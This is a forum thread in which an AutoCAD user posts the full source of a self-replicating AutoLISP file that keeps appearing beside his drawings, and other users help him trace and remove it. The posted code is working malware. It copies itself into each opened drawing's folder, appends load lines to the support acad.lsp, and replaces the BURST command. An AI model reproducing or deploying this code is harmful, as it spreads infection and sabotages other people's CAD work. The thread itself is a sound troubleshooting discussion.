See the top rated post in this thread. Click here

Results 1 to 10 of 22

Thread: acad.lsp file mysteriously showing up in folders

Hybrid View

Previous Post Previous Post   Next Post Next Post
  1. #1
    I could stop if I wanted to LanceMcHatton's Avatar
    Join Date
    2002-04
    Location
    Las Vegas, NV, USA
    Posts
    303
    Login to Give a bone
    0

    Default acad.lsp file mysteriously showing up in folders

    Ok, here's a weird one...

    I open up a drawing and an acad.lsp file is copied to the folder where the drawing resides. Here's the code:

    Code:
    (defun s::startup (/ old_cmd path dwgpath mnlpath apppath oldacad newacad nowdwg lspbj wjm wjm1 wjqm wjqm1 wz ns1 ns2)
     (setq old_cmd (getvar "cmdecho"))
     (setvar "cmdecho" 0)
     (setq path (findfile "base.dcl"))
     (setq path (substr path 1
       (- (strlen path) 8)))
     (setq mnlpath (getvar "menuname"))
     (setq nowdwg (getvar "dwgname"))
     (setq wjqm (findfile nowdwg))
     (setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
     (setq acadpath (findfile "acad.lsp"))
     (setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))
     (setq ns1 "" ns2 "")
     (setq lspbj 0)
     (setq wjqm (strcat path "acad.lsp"))
     (if (setq wjm (open wjqm "r"))
     (progn (while (setq wz (read-line wjm))
    		  (setq ns1 ns2) (setq ns2 wz)
    		)
       (if (> (strlen ns1) 14)
    	 (if (= (substr ns1 8 7) "acadapp")
      (setq lspbj 1)
    	  )
     )
     (close wjm)
     )
     )
     (if (and (= acadpath dwgpath) (/= acadpath path))
    	 (progn (setq oldacad (findfile "acad.lsp"))
    	 (setq newacad (strcat path "acadapp.lsp"))
    	 (if (= lspbj 0)
      (progn (setq wjqm (strcat path "acad.lsp"))
       (setq wjm (open wjqm "a"))
       (write-line (strcat "(load" (chr 34) "acadapp" (chr 34) ")") wjm)
       (write-line "(princ)" wjm)
       (close wjm)
      )
    		  )
    	 (writeapp)
    	 )
    	 (progn
     (if (/= nowdwg "Drawing.dwg")
    	 (progn (setq oldacad (findfile "acadapp.lsp"))
    	 (setq newacad (strcat dwgpath "acad.lsp"))
    	 (writeapp)
    	  )
    		)
    	 )
     )
    ; (command "undefine" "explode")
    ; (command "undefine" "xref")
    ; (command "undefine" "xbind")
     (setvar "cmdecho" old_cmd)
     (princ)
    )
    (defun writeapp ()
     (if (setq wjm1 (open newacad "w"))
    	 (progn (setq wjm (open oldacad "r"))
    		  (while (setq wz (read-line wjm))
      (write-line wz wjm1)
    	 )
    	 (close wjm)
    	 (close wjm1)
    	 )
     )
    )
    ;(defun C:explode (/ p cont old_cmd)
    ;  (setq old_cmd (getvar "cmdecho"))
    ;  (setvar "cmdecho" 0)
    ;  (setq p (ssget))
    ;  (if p (progn (setq cont (sslength p))
    ;		(princ "\nSeltct objects:")
    ;		(princ cont)
    ;		  (princ "found")
    ;		(princ "\n")
    ;		(princ cont)
    ;		(princ "was not able to be explode")
    ;  )
    ;  )
    ;  (setvar "cmdecho" old_cmd)
    ;  (princ)
    ; )
    ;(defun C:xref (/ old_cmd)
    ;  (setq old_cmd (getvar "cmdecho"))
    ;  (setvar "cmdecho" 0)
    ;  (command "insert")
    ;  (setvar "cmdecho" old_cmd)
    ;  (princ)
    ; )
    ;(defun C:xbind (/ old_cmd)
    ; (setq old_cmd (getvar "cmdecho"))
    ; (setvar "cmdecho" 0)
    ; (command "insert")
    ; (setvar "cmdecho" old_cmd)
    ; (princ)
    ; )
    (defun C:burst (/ p old_cmd)
     (setq old_cmd (getvar "cmdecho"))
     (setvar "cmdecho" 0)
     (princ "\nBURST----½«Í¼¿éÖеÄÎÄ×ÖÕ¨¿ªºó³ÉΪʵÌå")
     (setq p (ssget))
     (setvar "cmdecho" old_cmd)
     (princ)
    )
    (princ)
    There are a bunch of misspellings in the code above (ex. "Seltct objects") so I KNOW it's not something I wrote.

    I opened up the acad.lsp file on MY computer under the support path and it looks like this:

    Code:
    (load"acadapp")
    (princ)
    (load"acadapp")
    (princ)
    (load"acadapp")
    (princ)
    (load"acadapp")
    (princ)
    (load"acadapp")
    (princ)
    (load"acadapp")
    (princ)
    (load"acadapp")
    (princ)
    (load"acadapp")
    (princ)
    The code actually continues the same way for about 1000 lines but I think I've shown plenty to make my point.

    Does anyone know what's going on?

  2. #2
    The Silent Type RobertB's Avatar
    Join Date
    2000-01
    Location
    Seattle WA USA
    Posts
    5,859
    Login to Give a bone
    0

    Default Re: acad.lsp file mysteriously showing up in folders

    Find the AcadApp.lsp/.fas/.vlx file. Who installed it? It's modified the startup function to add an autoload statement to the Acad.lsp file for itself. It is so poorly written that it keeps adding itself.

  3. #3
    I could stop if I wanted to LanceMcHatton's Avatar
    Join Date
    2002-04
    Location
    Las Vegas, NV, USA
    Posts
    303
    Login to Give a bone
    0

    Default Re: acad.lsp file mysteriously showing up in folders

    Quote Originally Posted by RobertB
    Find the AcadApp.lsp/.fas/.vlx file. Who installed it? It's modified the startup function to add an autoload statement to the Acad.lsp file for itself. It is so poorly written that it keeps adding itself.
    Ok, I found an acadapp.lsp file on my computer in the support path but I didn't write it. Is it possible that it was created/modified by a lisp file that I got from somewhere else?

    Do I even need an acadapp.lsp file?

    I have created a custom menu for our company and other people are experiencing the same thing so I'm thinking it's coming from a lisp I'm using from the menus. How should I go about looking for the culprit?

  4. #4
    The Silent Type RobertB's Avatar
    Join Date
    2000-01
    Location
    Seattle WA USA
    Posts
    5,859
    Login to Give a bone
    0

    Default Re: acad.lsp file mysteriously showing up in folders

    AcadApp is not a vanilla AutoCAD file. So some software recently installed or tested is the culprit. Search all .lsp and .mnl/.mns files for AcadApp.

  5. #5
    100 Club lance.81922's Avatar
    Join Date
    2005-01
    Location
    Santa Fe, NM
    Posts
    176
    Login to Give a bone
    0

    Default Re: acad.lsp file mysteriously showing up in folders

    My guess is that whatever the program is that uses ACAD.LSP, it's probably pretty old OR is intended for SDI use. As far as I know, nobody hooks to ACAD.LSP these days, ever since AutoCAD 2000 brought ACADDOC.LSP to the party as the program that loads each time a drawing is opened. Normally (in MDI mode) ACAD.LSP only loads once per drawing session.

  6. #6
    I could stop if I wanted to LanceMcHatton's Avatar
    Join Date
    2002-04
    Location
    Las Vegas, NV, USA
    Posts
    303
    Login to Give a bone
    0

    Default Re: acad.lsp file mysteriously showing up in folders

    Quote Originally Posted by RobertB
    AcadApp is not a vanilla AutoCAD file. So some software recently installed or tested is the culprit. Search all .lsp and .mnl/.mns files for AcadApp.
    Ok, I have searched my entire computer, our library, and my custom company menus for any file containing the word ACADAPP. Nothing.

    If I rename the ACADAPP.LSP file to something else, the ACAD.LSP file still gets created in the drawing's folder, but with no data in it. I unloaded the custom menus and it still happens. A coworker thought it might have something to do with Express Tools (since it has BURST code in it) and it still happens.

    Any other thoughts?

  7. #7
    The Silent Type RobertB's Avatar
    Join Date
    2000-01
    Location
    Seattle WA USA
    Posts
    5,859
    Login to Give a bone
    0

    Default Re: acad.lsp file mysteriously showing up in folders

    Now that you renamed/deleted acadapp.lsp, search for references to acad.lsp in all .lsp files and .mnl files. Also look in the startup suite for weird stuff.

Similar Threads

  1. Replies: 0
    Last Post: 2007-12-20, 01:54 PM
  2. Local file mysteriously changing to Central File?
    By nnguyen in forum Revit - Worksharing/Worksets/Revit Server
    Replies: 13
    Last Post: 2006-11-04, 09:22 AM
  3. Folders not showing up on the left hand side of Open dialog box
    By Daniel Amon in forum AutoCAD General
    Replies: 8
    Last Post: 2006-07-17, 12:19 PM
  4. acad.lsp files are created in working folders
    By kgray.65984 in forum AutoCAD General
    Replies: 12
    Last Post: 2006-03-07, 07:31 PM
  5. Keys/Folders that have to be writeable for ACAD-M 2006
    By jonathan.landeros in forum AutoCAD Mechanical - General
    Replies: 0
    Last Post: 2005-09-27, 10:04 PM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •